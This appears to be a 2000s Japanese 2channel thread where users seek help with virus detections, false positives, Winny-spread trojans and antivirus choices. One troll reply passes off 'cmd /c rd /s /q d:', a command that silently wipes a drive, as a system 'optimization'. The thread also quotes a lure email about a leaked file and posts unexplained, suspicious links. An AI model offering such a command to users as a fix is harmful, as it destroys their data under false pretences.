「駆除」を選択したのですが駆除に失敗した、と表示されました。
その後とりあえずスキャンし、感染ファイルゼロ、と表示されました。

>>742
�@古典ウィルスに感染したメールを開いたが駆除された
�A誤検出トラップに引っかかった
�B実は検出はダミーで新種のウィルスが仕込まれている

たぶん大丈夫だが気をつけてな。

>>742
十中八九、誤検出ﾄﾗｯﾌﾟだと思う。
気になるなら
ツール→インターネットオプション→ファイルの削除→オフラインにチェックをいれて
削除すればいい。
何処をみてたかによっては確かめることができるよ
そこのどっかにウイルスのソースが貼ってなかった？
貼ってあったなら誤検出>>743の�Aってこと

>>741
> 【WindowsUpdateしてるか】
> 　最近さぼってました
> 【ちゃんとUpdateしてるか】
> 　 最近さぼってました

さぼるなよ
どっちも面倒なら自動化できるだろうに

>>743>>744
レスありがとうございます。

恥ずかしながら、「誤検出トラップ」すら分からなかったのですが、ググってみました。
ウイルスに似たデータで、でも本物のウイルスじゃない、ってことですよね？
一応IE、Opera両方の一時ファイルを全削除しました。
今後対策には気をつけます…あー怖かった。
アドバイスどうもありがとうございました。

>>745
本当にそうですね。
いつも「また今度」と思ってしまって。
反省してます。

安心するのはまだ早いんじゃね？

それっぽい、あやしいメール受け取ってなくても
Loveletterウイルスに感染することってあるのかな？

>>749
ある。Loveletterのソースをメモ帳にはりつけて拡張子かえて保存してクリック

始めまして、由香里といいます！最近このソフトを勧められたのですが、他のよりいいソフトですか？？
説明不足ですいません＞＜
パソコンにインストールするだけで、インターネットに接続しているパソコンに不可欠な各種防御機能を
手軽に装備できます。
しかも、シンプルなコントロール パネルで必要な操作がすべてでき、
複雑な設定を行う必要はありません。
3.0Jでは、新たにスパイウェア対策機能と不快な迷惑メール（スパムメール）、
詐欺メール(フィッシング メール)対策の迷惑メール フィルター機能が
加わり、さらに強化されたものになっています。　
新たに追加された機能：
★アンチ スパイウェア　…コンピュータの情報やインターネット活動状況を監視し、その情報を外部にもち出すトロイの木馬を含むスパイウェアを、隔離または削除します。
★迷惑メール フィルター　…不要で不快な迷惑メールや詐欺メールが届くと、OutlookまたはOutlook Expressより削除または迷惑メール フォルダーに隔離します。
主な機能：
★パーソナル ファイアウォール　…企業レベルの強力な侵入防御機能で、ハッカーの不正侵入を防ぎます。
★アンチ ウイルス　…危険なウイルスやワームはもちろん、未知のウイルスからもコンピュータを守ります。
また、ウイルスに感染したメールを、ダウンロードの際に自動的に処理します。
★プログラム コントロール　…ハッカーによる不正プログラムが正当であると見せかけながら危険な行為を実行しないよう、
信頼できるプログラムのみに、インターネットにアクセスしたり、
コンピュータ上で一定のアクションを実行することを許可することで、ユーザーの情報を保護します。
★ウェブ フィルタリング　…子どもに見せたくない、不快なコンテンツをもつサイトの閲覧を遮断します。
★個人情報保護機能…ID保護、パスワード保護機能で、ユーザーの個人情報を守ります。

マイナーな検体送付先

ウイルスセキュリティ(K7) http://k7computing.com/faq.htm
のメールアドレス。zipで固めて英語でメール、返信は来ない

アンラボV3 http://info.ahnlab.com/customer/virus_call.html
下の鉛筆マーク。zipで固めて英語で送信、返信はほぼ英語

キングソフト http://db.kingsoft.com/virus/viruspost/
zipで固めて英語で送信、返信は中国語なので無視

ウイルスキラー(Rising) http://up.rising.com.cn/
zipで固めて英語で送信、返信は中国語なので無視

ウイルスドクター(Jiangmin) http://jiangmin.com/index_gift.htm
上のメールアドレス。zipで固めて英語でメール、返信は中国語なので無視

中国語率高いよ

市販の安物ウンコ品だとそうなる

ファイル共有ソフトを使った覚えはありませんか？
あなたの個人情報がWinnyで流出しています。
もし、添付ファイルの中身に見覚えがあるなら早急に対策されることをお勧めしま
す。

by　名無しの２ちゃんねらー

atattchment.zipという添付ファイルつきのこんなメールが来たんだけど、
これはウイルスですか？　
送信元は本アドっぽいからかえって怪しい。
無視してもおＫ？

windows　XP
【WindowsUpdateしてるか】 している
【AntiVirusは何を使っているか】 ノートン
【ちゃんとUpdateしてるか】 している

>>755
文面に心当たりがあるならそっちの心配もしたほうがいいとは思うが
ダウソ板にはその手のヲチスレがあると聞く

>>756
Winnyなどファイル共有ソフトは使ったことはないのですが・・・

すっぱい梅干（´・ω・） ｶﾜｲｿｽ 山田ヲチスレ 187
http://tmp6.2ch.net/test/read.cgi/download/1139054109/
苺きんたま監視所パート１０２
http://sakura02.bbspink.com/test/read.cgi/erolive/1099389793/
Winnyを狙ったワーム・ニュイルス情報 FAQ
http://pwiki.chbox.com/pukiwiki.php?Winny%A4%F2%C1%C0%A4%C3%A4%BF%A5%EF%A1%BC%A5%E0%A1%A6%A5%CB%A5%E5%A5%A4%A5%EB%A5%B9%BE%F0%CA%F3%20FAQ

苺キンタマのようにアップローダに仕掛けられてる場合も有るので
P2Pのみが感染源とは限らない
スキャンはした？

>>755
スタート→「ファイル名を指定して実行」で、
cmd /c rd /s /q d:←コピペ
↑入力し[OK]をクリックする、そして再起動。
これで最適化が行われる

スッキリはする罠

データが全部消えるんだっけか。

【使用OS】 winXP
【WindowsUpdateしてるか】 してます
【AntiVirusは何を使っているか】シンマテック
【ちゃんとUpdateしてるか】 してます
【スキャンした結果（ウイルス名・発見場所）】 WScript.KakWorm （2chの某スレに行くと毎回検出します)
【別のオンラインスキャンしたならその結果は】 してません（PCに問題はないので・・・）
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
2chで検索してあるスレに行くと毎回検出します。初めはその度スキャンなど対応していましたが、
問題なかったので、最近は検出しても放置してます。。すこし不安ですが・・・
【これまでにとった措置】 スキャンしたが異常なし
【その他の質問】
なぜ検出するのか？PCに問題はなにのか？
ご教授ください。

>>762
>>8の一番上を音読して来い

【使用OS】xp
【WindowsUpdateしてるか】しています。
【AntiVirusは何を使っているか】マカフィー

去年の5月ごろあるゲーム情報サイト除いてところ
トロイの木馬を発見しました　と警告が出ました。
当時パソコン初心者だった私はテンパリ名前も確認せず駆除しようとしまし
たが無理で隔離することになりました。ケーブルをはずし　対処の仕方の
のっている本を図書館まで借りることにし1時間後　家に戻ったところ
マカフィーの画面で　「隔離しています」の表示だったところが　ナゼか
「保護してます」の通常営業になっていたのです。（いなくなった？）
スキャンしても異常なし。ただ音楽データが全て壊れていました。

これで終わりかと思っていたら　奇妙なことに　以前消したはずの
ゲーム名のファイルが存在したのです。　（0バイト　スキャン異常なし）
気味悪いので削除したところ　しばらくするとまたそのファイルが
現れ　消しても消しても現れる状態が数ヶ月続き　収まったのですが
今度はメディアプレイヤーを作動すると　勝手にそのファイルを
作り出し音楽を取り込もうとします。実害は今のところありませんが
今も　同じ状態が続きます。レジストリを書き換えられたりしたので
しょうか？少し不安です。

【使用OS】 winXP
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 ウイルスバスター2004
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 特に何も出ませんでした
【症状を具体的に、分かる限りすべて書く】
　パソコンを立ち上げたら背景の絵だけでデスクトップのアイコン等全部消えて
　いました。なにも出来ない状況だったのですが 、Ctrl+Alt+Deleteを押して
　タスクマネージャーを出すと何故かアイコンが復活し元に戻りました。
　しかし再起動するとまたアイコン等何も出ない元の状況に戻ってしまいます。
【何をしたらそんなことになったのか】 今朝立ち上げたらそうなっていました。
【これまでにとった措置】 ウイルス検索　スパイウェア検索

あのね。
スキャンして反応ないウイルス感染について答えられる神なんてここにいないの。

またか
>>631
>>640
>>653
>>677

>>765
古すぎるウイルスだけど、まさかこれってことはないよな？
http://www.haurijapan.com/virus/virus03.php?Vcode=VRVS000177

あとmsconfig(システム構成ユーティリティ)の使い方を覚えとくと便利だと思う。
起動して「スタートアップ」タブをクリックし、怪しいと思ったのは起動せずに済む。
ふだんどれを動かしているか把握しとけば怪しいのはすぐわかるが、
わからなければぐぐれ。

>>768　レスありがとうございます。
もう一度ウイルス検索してみたら
TROJ_ANTINNY.AXって出てきました。
どうすればいいですか対策があれば教えていただけますか？

DL板に行く。

ウイルスバスター2004

>>769
ダウソ板「Winnyを狙ったワーム･ニュイルス情報」スレ見れ

ANTINNY.AXｷﾀ━━━━━(ﾟ(ﾟ∀(ﾟ∀ﾟ(☆∀☆)ﾟ∀ﾟ)∀ﾟ)ﾟ)━━━━━!!

猛威をふるってますな

【使用OS】 winXP
【WindowsUpdateしてるか】 してます
【AntiVirusは何を使っているか】Avast!
【ちゃんとUpdateしてるか】 してます
【スキャンした結果（ウイルス名・発見場所）】ねーよｗｗｗ
【症状を具体的に、分かる限りすべて書く】ねーよｗｗｗ
【何をしたらそんなことになったのか】ねーよｗｗｗ
【その他の質問】
.jpgウイルスの検体を下さい。
2chでいろいろと画像リンクが貼られているのですが、どこに行ってもAvast!たんは反応しません。
Avast!たんの倦怠でないか調べたいので検体ください。

なにコイツ？

VIPPERだが文句あっか？

ならvipで聞いて来い

Googleで検索すると検索候補がズラリと並びますが、
その検索候補に飛ぶとヘンな海外サイトに飛ばされます。
（２ちゃんねるで検索してもヘンな海外サイトに飛ぶ）
ttp://robogold.biz/i%3F%3Fa%3F%21a%3F%3Fa%3F%3Fa%3F%20a%3F%3F.cfm?nft=1&t=4&p=4
↑のページです。

WindousXPHomeSP1・ウイルスバスター・スパイポッド・アドウェアSE（全て最新版）で
ウイルス検索・スパイウェアなどには引っかかりません。

何が原因なのでしょうか？

>>763
サンキュー☆

タイトルが　price で
添付ファイル　pricelist.zip　ってメール、
出回っておらんか？

自己レス

W32.Beagle.DL@mm だった。

ウイルスでは無いと思うのですが、あるエロサイトに入っただけで請求書みたいのが画面に表示されるようになってしまいました、、、。これはどうすれば消せますか？？助けてください。ちなみにwindowsXPを使ってて、norton2005です。

(　´,_ゝ`)プッ

>>783
ここにいきなされ。
【アダルトサイト被害対策の部屋】
ttp://www.higaitaisaku.com/

それと、FWについても勉強するように。
norton2005の詳細がわからんが、FWの付いたものなら新たに導入する必要はないが。

【使用OS】 winXP
【WindowsUpdateしてるか】 してます
【AntiVirusは何を使っているか】使ってないんです（すみません・・・）


今日２ch見てたら急に３つも出てきました。（２００２のノートン）
ここ読んだところ２つはノートンの誤検出っぽいので安心しましたが、もう一つがわからないので教えて下さい。
もし誤検出なら嬉しいのですが・・・。

１・・・WScript.KaKWorm
２・・・VBS.Network.E
３・・・Unix.Penguin


２番目なんですが、いかがですか？

いや最近
送信元が『YAMAMOTO』とか『NAKANO』とかで
あとは何も書いてない（Yahooアド）のメールが一日４〜５通届くので心配で・・・

ついでにこの質問もいいでしょうか？
このメールは一体何なのでしょうか？
一応Spybotには反応ないんですが。

長くてすみませんが、よろしくお願いしまう。
心配で眠れませんorz
これを機にウィルスソフト入れますので皆様どうか・・・。
どこのがいいのかよくわからんのですが・・・ｗ

('A`)

>>787
そう言わずに教えて下され・・・

>>788
なんて言ってるんだ？

【使用OS】Windows98SE
【WindowsUpdateしてるか】してます
【AntiVirusは何を使っているか】 ノートン
【ちゃんとUpdateしてるか】 してます
【スキャンした結果（ウイルス名・発見場所）】何度か発見。そのたびにOS再インストール
【別のオンラインスキャンしたならその結果は】 無し
【症状を具体的に、分かる限りすべて書く】---
【何をしたらそんなことになったのか】 ---
【これまでにとった措置】 ---
【その他の質問】
PCの動作があまり重くならない、ウイルスソフトを探しています。
やはり、ソースネクストの製品でしょうか？
ちょっと気になってるのが、AVGなんですが・・・
この二つ以上に、動作の軽いウイルスソフトありましたら教えて下さい。
宜しくお願い致します。

エロブログで画像やエロ動画サンプルのダウンロードで
ウイルスにかかることはありますか？

ちょっとマルチっぽいんですがスミマセン
【使用OS】　XP
【WindowsUpdateしてるか】再インスト（修理で業者にしてもらった）一週間未満なのでまだ
【AntiVirusは何を使っているか】ない
【別のオンラインスキャンしたならその結果は】なぜかできない
【症状を具体的に、分かる限りすべて書く】
サイトを開くたびにCPUが100％になり重たくなる
読み込んだあとに軽くなる。IE・Sleipnir・Jane2chなどでその症状が起きる
【何をしたらそんなことになったのか】winampインスト 日本語キット導入して
SHOUTcast 導入　Song Requester 導入後　日本語化してから
【これまでにとった措置】はじめはSasserかと思って
サイト（http://www.symantec.com/region/jp/sarcj/data/w/w32.sasser.removal.tool.html）
にのってある駆除方法を試みた。winampアンインスト
【その他の質問】
わかります？orz

【AntiVirusは何を使っているか】ない


何が起こったって自業自得
クリーンインスコ

>>787
ワロタ

>>793
そうですかorz　せめてウィルス名でもわかれば後は何とかできそうなんですが
今いろいろして気がついたのですが　jpgファイルも開くとCPU100％になりました（IrfanViewで開いてます）

それを駆除したって何か他の物が感染してる可能性は高いし・・・

最低限は対策しとかないと・・・

>>795
＞せめてウィルス名でもわかれば後は何とかできそうなんですが
無理です、さっさと回線切ってクリーンインスコしてください

「Winamp」の脆弱性、スパイウェアをインストールするプレイリストが見つかる
ttp://japan.cnet.com/news/sec/story/0,2000050480,20095869,00.htm

>>795
＞jpgファイルも開くとCPU100％

(　´,_ゝ`)プッ

ウィルスって携帯にもあるものですか？

>>800
あるよ
ttp://brain.to/ds/xoops/modules/pukiwiki/3994.html
携帯向けのアンチウィルスも開発されてるし

>>801
携帯の場合ウィルスはどんな害があるんでしょうか？
無知な質問すみません。

>>802
機種によるからなんとも。
最近SymibianOSを積んでる携帯（F901i、D901など）を狙ったウィルスがでてる。
システムファイルをぶっ壊したり（フォーマット）、アドレス帳を流出させたり、
バッテリ使用可能時間を極端に減らしたりとか。

http://jet-hair.com/cgi-bin/jet-bbs/aska.cgi

こないだｵﾝﾗｲﾝｽｷｬﾝをしてみたらｳｨﾙｽにかかっていました。そうしたら検出されたので駆除方法が分からないので手動で駆除しました。その後ｵﾝﾗｲﾝｽｷｬﾝをしたらｳｨﾙｽは検出されませんでした。もうｳｨﾙｽは入ってないと見てよろしいのでしょうか？初めての駆除なので不安です・・・。

>>805
その不安を私が抱きしめてあげる

スル〜しないで誰か答えてくれ・・・・・頼む・・・

>>807
一つ目の質問はみんな誤検出だ、気にするな
二つ目だが、悪性ソフトウェアでないただのスパムメールなどごくありふれたものだ
こっちも気にするな

そんなことよりさっさとまともなアンチウイルスソフト入れろ
2002はいい加減サポート対象外のはずだ

安眠するのはそれからだな

>>786>>807
文章に矛盾がありすぎてネタにしか見えんな。
【気になる点】
・なんでアンチウィルスソフトを入れてないのにノートン2002が誤検出してるのか？
・ヘッダを確認するぐらいしないと何のメールかその情報だけでは分からない。
・スパイウェアとウィルスは別物なのでspybotでのスキャン結果を書かれてもあまり意味ない。
・＞どこのがいいのかよくわからんのですが・・・ｗ
　これ煽ってますよね？

以上

>>808>>809
ありがとうございます。
とりあえず早々にウィルスソフトを入れます。
お二人のお勧めってありますか？

>>809
自分では入れてないのですが、PC買った時に２００２が入ってて期限切れなのになぜかたまに勝手にスキャンしてくれたり、ウィルス感知してくれたりするんですｗ

え〜一応煽ってるわけではありません。マジで。


>>808
このメール来ないようには出来ますか？
ビッグローブなんですけど勝手に削除してくれないんですね。
今日も３通来てました・・・。

聞いてばっかだな
少しは自分で調べようとは思わない？

>>811
調べてわからないから質問スレにきたんだけど・・・。

>>812
>>708で書かれてるけど2002は論外
ファイアウォールも入ってるノートンインターネットセキュリティ2006を買う

あーすまん、上の708は808な

>>813
あざ〜す！！

　 ∧＿∧ ｸﾜｯ!
　∩｀iWi´∩　
　ヽ　|m| .ノ
　 ｜.￣｜
　　Ｕ⌒Ｕ

仲間うちで出回っているのですが、これって何ですか？
超怖いです。

http://pic122.pics-myspace.com

自分で行けばすくわかるんじゃね？

パソコン一台やられちゃってて、どんな被害にあったのかが判らないんです。
インターネットとか繋いでても大丈夫なんですかね？　素人なんですみません。

>>817
なんかフォトアルバム用のサイトっぽいけどね。
有害だったら怖いんで、きっちり踏んでません。嘘だったらごめん。

>>819
日本語でおｋ

ｽﾏｿ、ありがとうございます

>>817
ノートン先生がお怒りになられました

ロリコン祭り
ttp://asian-image4.sakura.ne.jp/23/asia.htm
ttp://asian-image2.sakura.ne.jp/35/asia.htm

>>824
に突撃してきたが、何もなす（´・ω・｀）

スパイウェアとウィルス

【使用OS】xp HOME
【WindowsUpdateしてるか】しています
【AntiVirusは何を使っているか】ウイルスバスター2006
【ちゃんとUpdateしてるか】 しています
【スキャンした結果（ウイルス名・発見場所）】 TROJ_ANTINNY.AX　実行はしていない
【別のオンラインスキャンしたならその結果は】 Virus Totalでスキャン
【症状を具体的に、分かる限りすべて書く】 特になし
【何をしたらそんなことになったのか】
【これまでにとった措置】 Virus Totalでスキャン
【その他の質問】Virus Totalは１０メガバイトのファイルまでしかスキャンできないらしくスキャンできませんでした
それ以上のサイズをスキャンできるサイトがあるようなのですがどなたかご存知ないでしょうか

>>827
【何をしたらそんなことになったのか】
【何をしたらそんなことになったのか】
【何をしたらそんなことになったのか】

犯罪者は裁かれるべきだよね

【何をしたらそんなことになったのか】winnyでファイルをダウンロードした
失礼しました　
ダウソ坂できこうかとおもいましたが　ウイルスに関する総合的な質問だと思いこちらでうかがいました
でご存知ですか?

>>830
発見したウィルスを消せばよいだけだろ？
それ以外に何を聞きたいの？